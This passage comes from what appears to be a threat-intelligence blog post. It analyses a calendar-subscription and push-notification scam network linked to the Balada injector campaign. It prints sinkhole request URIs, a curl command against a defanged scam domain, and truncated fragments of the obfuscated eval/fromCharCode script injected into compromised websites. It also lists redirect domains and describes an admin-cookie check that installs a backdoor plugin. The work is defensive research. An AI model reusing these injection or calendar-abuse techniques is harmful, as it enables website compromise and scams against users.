&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;
/NzY5MTIEDwAFAQcCAAICBAYABAoDAwoBTg8BAQMFDkoIBwIBAgsGBwAARVZTT2kMBgIPDg%3D%3D
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;2. &lt;code&gt;Webcal&lt;/code&gt; query request&lt;/h3&gt;

&lt;p&gt;Example of query:&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;
/?webcal=ge2dmnbugy5gi3bpgqydamy&amp;amp;u=a3acfe2c-9c47-42c1-8f2f-ced5a73d20d9&amp;amp;l=18&amp;amp;t=
1607052555&amp;amp;g=8&amp;amp;al=en-us&amp;amp;sub1=test_robots1&amp;amp;sub2=&amp;amp;sub3=&amp;amp;sub4=
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We know from the previously mentioned headers that the client is expecting a calendar file; however, we can double check this by doing a request to an active domain using curl and see what it returns:&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;
curl -v -L -o calendar.ics 
&lt;span style="color:green;"&gt;"http://mos3[.]biz/?webcal=me2tanrymi5gi3bpgu4tmna&amp;amp;u=230c9837-23ee-4208-8df0-1fa854490c90&amp;amp;l=24&amp;amp;t=1620652575&amp;amp;g=3&amp;amp;al=ar&amp;amp;sub1=&amp;amp;sub2=&amp;amp;sub3=&amp;amp;sub4=b0690ftho9zwh124"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The active domain returns the following calendar &lt;code&gt;.ics&lt;/code&gt; file, confirming our initial assumption:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%202%20-%20Calendar.png" width="850" height="279" alt="Figure 2 - Calendar" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 2 - Calendar &lt;code&gt;.ics&lt;/code&gt; file returned by active domain&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h2&gt;Why a simple event file can open the door to phishing, malware, and more&lt;/h2&gt;

&lt;p&gt;Calendar subscriptions can come from various sources. We might be quick to assume that people only subscribe through some ad-filled websites or shady links, but that’s not always the case. As we have seen so far, users can be tricked when accessing their regular websites, but these subscriptions can also come from benign sources. For example, a website might require users to subscribe to a calendar in order to access special promotions. Mobile applications, such as mobile games, may encourage the subscription of a calendar that delivers reminders for in-game events or exclusive advantages. And even e-mail invitations can be crafted to appear as professional meetings or personal events, enticing the recipient to accept without suspicion.&lt;/p&gt;

&lt;p&gt;While an inconspicuous title such as “&lt;em&gt;Events&lt;/em&gt;” or “&lt;em&gt;Amazon&lt;/em&gt;” may appear more convincing, we observed that it does not need to contain meaningful text at all. Actually, it can even be left completely blank. Moreover, the title can be filled with whitespace characters, averting the user from noticing the details displayed below. The following images illustrate this.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2015%20-%20Blank%20calendar%20subscription%20name_Figure%2016%20-%20Whitespace%20characters%20used%20in%20calendar%20subscription%20title%20v2.png" width="800" height="500" alt="Figure 15 - Blank calendar subscription name_Figure 16 - Whitespace characters used in calendar subscription title" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 3 - Blank calendar subscription name |&amp;nbsp;Figure 4 - Whitespace characters used in calendar subscription title&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The point is that it doesn’t matter whether a user ended up subscribing to either a legitimate or illegitimate calendar; legitimate calendar domains can expire and be registered by threat actors. The most concerning part about calendars lies in &lt;strong&gt;the protocol itself and users' lack of awareness&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Once a calendar is subscribed to, the device will continue to automatically make sync requests to the domain, allowing &lt;a href="https://www.bitsight.com/learn/cti/types-of-cyber-crimes"&gt;cybercriminals&lt;/a&gt; to exploit ongoing calendar subscriptions to promote content to users without requiring any approval, by simply modifying the &lt;code&gt;.ics&lt;/code&gt; file delivered during the sync process. While Google Calendar proxies the sync requests, iCalendar does not; actors could also explore the constant sync requests made by Apple devices to track users’ activity and geolocation based on incoming sync requests. Google’s proxy-based sync design adds an important layer of protection by limiting direct client interaction with calendar domains. This architecture helps prevent large-scale abuse via expired or hijacked calendar subscriptions, a valuable mitigation that enhances user safety by default.&lt;/p&gt;

&lt;p&gt;At this stage, the creativity of the threat actor dictates the success of the attack: Will they generate fake anti-virus alerts? Push VPN apps for a monetization strategy? Or design phishing pages based on the expired domains? Anything that plays on &lt;strong&gt;urgency&lt;/strong&gt; or &lt;strong&gt;trust&lt;/strong&gt; has the potential to succeed.&lt;/p&gt;

&lt;p&gt;To demonstrate the potential impact of this attack vector, we crafted a &lt;code&gt;.ics&lt;/code&gt; file containing a series of events and imported it onto a device, simulating a real scenario. While our proof of concept focused on events targeting Apple operating systems, the same could be adapted for other operating systems. Reminder that all the events would lead to a malicious endpoint and/or software. Below, we present an example of what a day of these calendar subscriptions could look like.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2017%20-%20Example%20of%20events%20imported%20by%20calendar%20subscription_.png" width="850" height="476" alt="Figure 17 - Example of events imported by calendar subscription" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 5 - Example of events imported by calendar subscription&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Regardless of the method, one element remains constant: &lt;a href="https://www.bitsight.com/blog/the-abcs-of-ishing"&gt;&lt;strong&gt;social engineering&lt;/strong&gt;&lt;/a&gt;. By exploiting human trust and curiosity, attackers increase the likelihood of their malicious calendar events being interacted with, turning a harmless feature into a powerful entry point for compromise. This is just another entry vector, on the most fallible part of the cybersecurity ecosystem, the Human mind.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-cta"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/styles/cta/public/2025/11/21/Figure%2018%20-%20Example%20of%20VPN%20promotion%20with%20an%20attached%20PDF%20file_.png?itok=OhrfVjbJ" width="570" height="388" alt="Example of VPN promotion with an attached PDF file" typeof="foaf:Image" class="image-style-cta"&gt;



              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 6 - Example of VPN promotion with an attached PDF file&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;While social engineering is likely to be the most common exploitation, it is not the only one, as we will see further in the blog.&lt;/p&gt;

&lt;h2&gt;Hunting a network&lt;/h2&gt;

&lt;p&gt;As we previously mentioned, we were seeing two distinct types of requests reaching our sinkhole:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;I.E – &lt;strong&gt;Base64&lt;/strong&gt;-encoded URI →

	&lt;pre style="font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;/NzY5MTIEDwAFAQcCAAICBAYABAoDAwoBTg8BAQMFDkoIBwIBAgsGBwAARVZTT2kMBgIPDg%3D%3D&lt;/code&gt;&lt;/pre&gt;
	&lt;br&gt;
	&amp;nbsp;&lt;/li&gt;
	&lt;li&gt;I.E – &lt;strong&gt;Webcal&lt;/strong&gt; query request →
	&lt;pre style="font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;/?webcal=ge2dmnbugy5gi3bpgqydamy&amp;amp;u=a3acfe2c-9c47-42c1-8f2f-ced5a73d20d9&amp;amp;l=18&amp;amp;t=1607052555&amp;amp;g=8&amp;amp;al=en-us&amp;amp;sub1=test_robots1&amp;amp;sub2=&amp;amp;sub3=&amp;amp;sub4=&lt;/code&gt;&lt;/pre&gt;
	&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This could possibly indicate two different networks at play here, so we investigated further to better understand the infrastructure. For the first type of request, the one showing a &lt;strong&gt;base64&lt;/strong&gt; type URI, a particular JavaScript was always executed on the endpoints of each domain:&lt;/p&gt;

&lt;p&gt;Sha256: e05c546f30212173ba878c31bbd8b93216cab1e847676b7bae870719f37dd7a5&lt;/p&gt;

&lt;p&gt;This JavaScript was an obfuscated and adapted version of an open-source fingerprinting script. Fingerprinting scripts allow websites to get as much information as possible about your device. Via the browser, you can see what shows up for yours, &lt;a href="https://fingerprintjs.github.io/fingerprintjs/"&gt;here&lt;/a&gt;. The obfuscated version had an error exception that contained a string referencing the &lt;a href="https://github.com/fingerprintjs/fingerprintjs"&gt;original version&lt;/a&gt;.&lt;/p&gt;

&lt;center&gt;
&lt;pre style="font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;
&lt;span style="color: goldenrod;"&gt;throw&lt;/span&gt; &lt;span style="color:green;"&gt;Error&lt;/span&gt;&lt;span style="color: goldenrod;"&gt;("'new Fingerprint()' is deprecated, see https://github.com/Valve/fingerprintjs2#upgrade&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/center&gt;

&lt;p&gt;Due to its reuse, we could simply search on Virustotal all the domains that had previously run this obfuscated script. This allowed us to identify 454 domains associated with calendar subscriptions. Out of these, 335 were new to us. The domains also showed typical behaviour among &lt;a href="https://unit42.paloaltonetworks.com/detect-block-malicious-traffic-distribution-systems/"&gt;Traffic Distribution Systems&lt;/a&gt;, such as bouncing between 2 domains.&lt;/p&gt;

&lt;p&gt;It seems this infrastructure was mostly active from 2020 to 2022. It became obvious that this infrastructure was planned and deliberate. Further fingerprinting was also possible, due to the request endpoint showing the same headers, likely copying and pasting servers:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Service version of “&lt;strong&gt;openresty/1.15.8.3&lt;/strong&gt;”&lt;/li&gt;
	&lt;li&gt;Cookie param as ”&lt;strong&gt;ex=&lt;/strong&gt;”,&lt;/li&gt;
	&lt;li&gt;Cloudfront IDs would be similar&lt;/li&gt;
	&lt;li&gt;Cookie lifetime set to “Max-Age=600” or “Max-Age=172800”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The operators appear to have kept the same server version and cookie logic, from 2020 until 2022/2023.&lt;/p&gt;

&lt;h3&gt;Injecting javascript&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;second type&lt;/strong&gt;, which showed the “&lt;strong&gt;webcal&lt;/strong&gt;” argument in the URI query, was an interesting one and allowed us to better understand these underlying operations. This infrastructure was definitely fresher, with domains registered all the way into 2025.&lt;/p&gt;

&lt;p&gt;The domains here actually showed two type of paths:&lt;/p&gt;

&lt;pre style="font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;
https://mo17[.]biz/?p=gy3ggyrzgm5gi3bpgy2dsny or /?pu

https://mo17[.]biz/?webcal=me2tanrymi5gi3bpgu4tmna&amp;amp;u=230c9837-23ee-4208-8df0-1fa854490c90&amp;amp;l=24&amp;amp;t=1620652575&amp;amp;g=3&amp;amp;al=ar&amp;amp;sub1=&amp;amp;sub2=&amp;amp;sub3=&amp;amp;sub4=b0690ftho9zwh124
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Both these URIs and variations of them ran unique JavaScripts that would try to deceive the user into allowing push notifications or add calendar subscriptions accordingly. By making it seem like the user needs to solve a captcha by clicking “Allow” to view the original content. Below are some examples of this.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%203%20-%20Fake%20overlays%2C%20tricking%20users%20into%20subscriptions_0.png" width="850" height="462" alt="Figure 3 - Fake overlays, tricking users into subscriptions" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 7 - Fake overlays, tricking users into subscriptions&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;These weren’t the only ones; there were dozens more. If a user were to click “Allow”, it would register a service worker to send further notification spam, even after closing the browser. If a user clicked “Block” or the script failed, this would redirect to another spam domain. It started becoming obvious that most of these domains were part of a structured scam notification campaign attempting to deceive users into subscribing by disguising itself as a browser "captcha" check, both for push and calendar events.&lt;/p&gt;

&lt;h3&gt;Proliferation&lt;/h3&gt;

&lt;p&gt;We knew its goal: tricking the user into subscribing to notifications. But it was still unclear how this came to have such a high volume of devices. We were seeing ~4 million iPhone requests to calendars alone, which was just a fraction of the real size subscribed. Apple devices directly request the domains for synchronization of events, hence the devices we were seeing. Google/Android, on the other hand, uses its own server as a proxy that polls the subscription domain once, then it pushes the synchronization to the rest of the devices. This meant if we saw a Google Calendar server request, we had no means to tell the number of devices already subscribed to that existed behind it. However, if we have &lt;strong&gt;~4 Million iPhones, you best believe Android is a whole lot more&lt;/strong&gt;. The &lt;strong&gt;real size of the network is much, much larger&lt;/strong&gt;. So how did it spread? We were having a hard time believing that people were deliberately visiting these weirdly named sites.&lt;/p&gt;

&lt;p&gt;As a starting point, we used the “placeholder” calendar &lt;code&gt;.ics&lt;/code&gt; file that it was returning to find potentially related domains. We found several domains, which displayed the same type of paths, javascript files, subdomain naming, and IP sharing, mostly consisting of &lt;em&gt;.biz&lt;/em&gt; and &lt;em&gt;.bid&lt;/em&gt; TLDs. A quick search revealed them to be in fact, trying to push for notification subscriptions, even with users complaining about it. A further look into &lt;a href="http://urlscan.io"&gt;urlscan.io&lt;/a&gt; revealed that all of these were the endpoint of a redirection chain.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%204%20-%20Website%20redirecting%20to%20a%20final%20notification%20scam%20endpoint-%20baslerweb%3B%20mercadeo.png" width="850" height="277" alt="Figure 4 - Website redirecting to a final notification scam endpoint- baslerweb; mercadeo" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 8 - Website redirecting to a final notification scam endpoint: &lt;a href="https://urlscan.io/result/81771bc6-563d-4d3b-80e5-31e614bb7a09/#redirects"&gt;baslerweb&lt;/a&gt;; &lt;a href="https://urlscan.io/result/eea0c31d-5639-4df6-84a4-a2c5a955f713/#redirects"&gt;mercadeo&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;With this, there was a workflow that started to shape. An initial website was visited, which then caused a second intermediate hop to occur, landing finally on the malicious domains for push notifications. Based on the initial domains that began this redirection chain, suspicion arose that it probably wasn’t voluntary, and the first domains had been compromised.&lt;/p&gt;

&lt;p&gt;This suspicion made things substantially worse; it’s one thing being deceived by a website you willingly accessed, it’s another to access a regular website that has been compromised into tricking users. Especially considering there are services that sell push notifications as “ad space”. Were some of these services getting further subscriptions by compromising and exploiting other websites?&lt;/p&gt;

&lt;p&gt;Unfortunately, this seems to be the case. We confirmed that the first websites in these chains were all compromised websites that had malicious javascript injected into them. The injected scripts appeared in multiple ways on the compromised websites and were heavily obfuscated. The flow was usually seen as follows:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;Compromised website with malicious JavaScript injected&lt;/li&gt;
	&lt;li&gt;Obfuscated payloads perform reinjection - hops&lt;/li&gt;
	&lt;li&gt;Fake browser check for subscription: “Click Allow”&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The initially injected script on the compromised domains was usually always either before or inside the &lt;code style="color:green;"&gt;&amp;lt;head&amp;gt;&lt;/code&gt; division. One of the ways this script block appeared was as follows:&lt;/p&gt;

&lt;pre style="background:#f2f2f2;font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;padding:15px;"&gt;
&lt;code&gt;

&lt;span style="color:#000000"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style="color:blue"&gt;var&lt;/span&gt; e=&lt;span style="color:purple"&gt;eval&lt;/span&gt;;&lt;span style="color:blue"&gt;var&lt;/span&gt; v=&lt;span style="color:purple"&gt;String&lt;/span&gt;;&lt;span style="color:blue"&gt;var&lt;/span&gt; a =&lt;span style="color:green"&gt;'fr'+'&lt;/span&gt;&lt;span style="color:green"&gt;o'+'mCh'&lt;/span&gt;&lt;span style="color:green"&gt;'+ 'arC'+'ode'&lt;/span&gt;;&lt;span style="color:blue"&gt;var&lt;/span&gt;
 l=v[a](&lt;span style="color:red"&gt;40&lt;/span&gt;,&lt;span style="color:red"&gt;102&lt;/span&gt;,&lt;span style="color:red"&gt;117&lt;/span&gt;,&lt;span style="color:red"&gt;110&lt;/span&gt;,&lt;span style="color:red"&gt;99&lt;/span&gt;,&lt;span style="color:red"&gt;116&lt;/span&gt;,&lt;span style="color:red"&gt;105&lt;/span&gt;,&lt;span style="color:red"&gt;111&lt;/span&gt;,....&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This would load the first obfuscated javascript file, such as &lt;code&gt;res.js/run.js&lt;/code&gt;, that is reinjected into the &lt;code style="color:green;"&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and if there is none, it tries inside the &lt;code style="color:green;"&gt;&amp;lt;body&amp;gt;&lt;/code&gt;. All subsequent injected files appeared in the following obfuscated manner.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%205%20-%20Obfuscated%20script%20code%20snippet%20150%20-%201k%20lines%20of%20code.png" width="850" height="135" alt="Figure 5 - Obfuscated script code snippet 150 - 1k lines of code" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 9 - Obfuscated script code snippet 150 - 1k lines of code&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Most payloads could be partially deobfuscated using the open source tool deobfuscate.io. After &lt;a href="https://obf-io.deobfuscate.io/"&gt;deobfuscation&lt;/a&gt;, it would reveal the source for the following payload.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-cta"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/styles/cta/public/2025/11/21/Figure%206%20-%20Next%20payload%20source%20and%20reinjection%20into%20DOM.png?itok=R8CVgVGQ" width="570" height="224" alt="Figure 6 - Next payload source and reinjection into DOM" typeof="foaf:Image" class="image-style-cta"&gt;



              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 10 - Next payload source and reinjection into DOM&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;We mostly saw the &lt;strong&gt;redirection chain&lt;/strong&gt; to the malicious endpoints working as follows:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%207%20-%20Infection%20and%20redirection%20chain_.png" width="850" height="300" alt="Figure 7 - Infection and redirection chain" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 11 - Infection and redirection chain&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;It’s worth pointing out that all of this would be &lt;strong&gt;completely seamless to the victim. The malicious landing page would manifest before loading the intended website.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These middle domains usually looks like such:&lt;/p&gt;
&lt;style type="text/css"&gt;.text-wysiwyg__body table tr td:first-child

 {font-weight:inherit;}
&lt;/style&gt;
&lt;table align="center" border="0" cellpadding="1" cellspacing="1" style="width: 100%;"&gt;
	&lt;tbody&gt;
		&lt;tr style="border:none;"&gt;
			&lt;td class="text-align-center" style="border:none;"&gt;linetoslice[.]com/scripts&lt;br&gt;
			perfectlinestarter[.]com/scripts&lt;br&gt;
			readytocheckline[.]com&lt;br&gt;
			linetowaystrue[.]com&lt;br&gt;
			readytocheckline[.]com&lt;/td&gt;
			&lt;td class="text-align-center" style="border:none;"&gt;v&lt;br&gt;
			bestresulttostart[.]com&lt;br&gt;
			taskscompletedlists[.]com&lt;br&gt;
			recordsbluemountain[.]com&lt;br&gt;
			recordsbluemountain[.]com&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;This is not an extensive list, far from it. Domains that appear at the final step of a redirect chain could act as delivery points for malicious activity, including ad injection, phishing pages, malware distribution, or further redirection chains. From the user’s perspective, upon opening their usual page, they will only see one of those “fake browser checks” which would be the final domain of the redirection chain.&lt;/p&gt;

&lt;h3&gt;Balada Injection&lt;/h3&gt;

&lt;p&gt;The infection chain we discussed in the previous chapter, which ranged from compromising websites to redirecting users, aligned with previous activity attributed as “&lt;strong&gt;&lt;a href="https://blog.sucuri.net/2023/10/balada-injector-targets-unpatched-tagdiv-plugin-newspaper-theme-wordpress-admins.html"&gt;Balada injector&lt;/a&gt; campaign or Balada malware&lt;/strong&gt;”, discovered in 2023. So, in addition to matching IOCs, the tactics and techniques (TTPs) also seemed to either mirror or improve upon their latest waves of website injections.&lt;/p&gt;

&lt;p&gt;Our initial attribution wasn’t as straightforward because the threat actors actively updated obfuscation tactics to evade previous scanning/fingerprinting of compromised domains. For example, previous injections started with …&lt;em&gt;eval(String.fromCharCode&lt;/em&gt;… now we see obfuscation to avoid scanning, such as:&lt;/p&gt;

&lt;pre style="background:#f2f2f2;font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;padding:15px;"&gt;
&lt;code&gt;
&lt;span style="color:#000000"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt; e=&lt;span style="color:#800080"&gt;eval&lt;/span&gt;;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt; v=&lt;span style="color:#800080"&gt;String&lt;/span&gt;;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt; a =&lt;span style="color:#008000"&gt;'fr'&lt;/span&gt;+&lt;span style="color:#008000"&gt;'o'&lt;/span&gt;+&lt;span style="color:#008000"&gt;'mCh'&lt;/span&gt;+&lt;span style="color:#008000"&gt;'arC'&lt;/span&gt;+&lt;span style="color:#008000"&gt;'ode'&lt;/span&gt;;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt;
l=v[a](&lt;span style="color:#b22222"&gt;40&lt;/span&gt;,&lt;span style="color:#b22222"&gt;102&lt;/span&gt;,&lt;span style="color:#b22222"&gt;117&lt;/span&gt;,&lt;span style="color:#b22222"&gt;110&lt;/span&gt;,&lt;span style="color:#b22222"&gt;99&lt;/span&gt;,&lt;span style="color:#b22222"&gt;116&lt;/span&gt;,&lt;span style="color:#b22222"&gt;105&lt;/span&gt;,&lt;span style="color:#b22222"&gt;111&lt;/span&gt;,&lt;span style="color:#000000"&gt;,.......&lt;/span&gt;&lt;span style="color:#008000"&gt;`&lt;/span&gt;&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Or even something like:&lt;/p&gt;

&lt;pre style="background:#f2f2f2;font-size:13px; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;padding:15px;"&gt;
&lt;code&gt;
&lt;span style="color:#000000"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;var _0x1f4840=_0x1ca2;&lt;span style="color:#000000"&gt;(&lt;/span&gt;&lt;span style="color:#0000ff"&gt;function&lt;/span&gt;(_0x37167e,_0x390a1e)&lt;span style="color:#000000"&gt;{&lt;/span&gt;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt;
_0x32cdab=_0x1ca2,_0x53bb1a=_0x37167e();&lt;span style="color:#0000ff"&gt;while&lt;/span&gt;(!![])&lt;span style="color:#000000"&gt;{&lt;/span&gt;&lt;span style="color:#0000ff"&gt;try&lt;/span&gt;&lt;span style="color:#000000"&gt;{&lt;/span&gt;&lt;span style="color:#0000ff"&gt;var&lt;/span&gt;
_0x28d699=&lt;span style="color:#800080"&gt;parseInt&lt;/span&gt;(_0x32cdab(&lt;span style="color:#b22222"&gt;0x1c6&lt;/span&gt;)&lt;span style="color:#000000"&gt;)&lt;/span&gt;..........
&lt;/code&gt;&lt;/pre&gt;

&lt;center&gt;
&lt;p&gt;&lt;a href="https://urlscan.io/responses/af5efbc4f4b4e2db153a73c24722f648ff52e64d37e19c751a45f60c5d85266e/"&gt;Urlscan.io&lt;/a&gt;&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;According to recent research on Balada by &lt;a href="https://blog.pulsedive.com/threat-research-balada-injector/"&gt;Pulsedive&lt;/a&gt;, this chain will check for user cookies if the user is currently logged in as admin, and if it is, it will attempt to run a particular script to install a malicious plugin for a backdoor. If it’s not, it will push the user to a notification scam. This is also something we observed, as seen in the snippet below.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%208%20-%20User%20cookie%20checks.png" width="850" height="148" alt="Figure 8 - User cookie checks" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 12 - User cookie checks&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;This meant a big portion of the calendar request and notifications we were seeing were the result of this check, users visiting regular websites that had been compromised, and ended up being redirected to a notification scam due to not being admin users. But was this all? No.&lt;/p&gt;

&lt;h3&gt;APKs and PDFs&lt;/h3&gt;

&lt;p&gt;One last avenue from which the same threat actors would attempt to spread notification scams. Some domains that were pushing for notifications (e.g &lt;code&gt;&lt;strong&gt;topwebsites1d[.]com&lt;/strong&gt;&lt;/code&gt;), revealed APKs communicating to them and others had PDF files. Most of these domains were behind Cloudflare reverse proxy which made the hunting for additional domains a little harder, luckily we hit a DigitalOcean IP giving us over 200 domains and over 4,100 unique APKs associated with notification scams that contacted this IP.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%209%20-%20Virustotal%20related%20files_.png" width="850" height="319" alt="Figure 9 - Virustotal related files" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 13 - Virustotal related files&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;They all had the same behaviour. The PDFs would have a tiny.url link that would open a webpage into a redirection chain, similar to previous behaviour. These PDFs ranged from movie downloads, to car manuals, to a captcha itself. Below you can find some prints of this.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2010%20-%20Example%20of%20notification%20scam%20PDFs%20.png" width="850" height="360" alt="Figure 10 - Example of notification scam PDFs" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 14 - Example of notification scam PDFs&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Inevitably they would lead to the same conclusion, tricking the user into subscribing to push notifications.&lt;/p&gt;

&lt;center&gt;
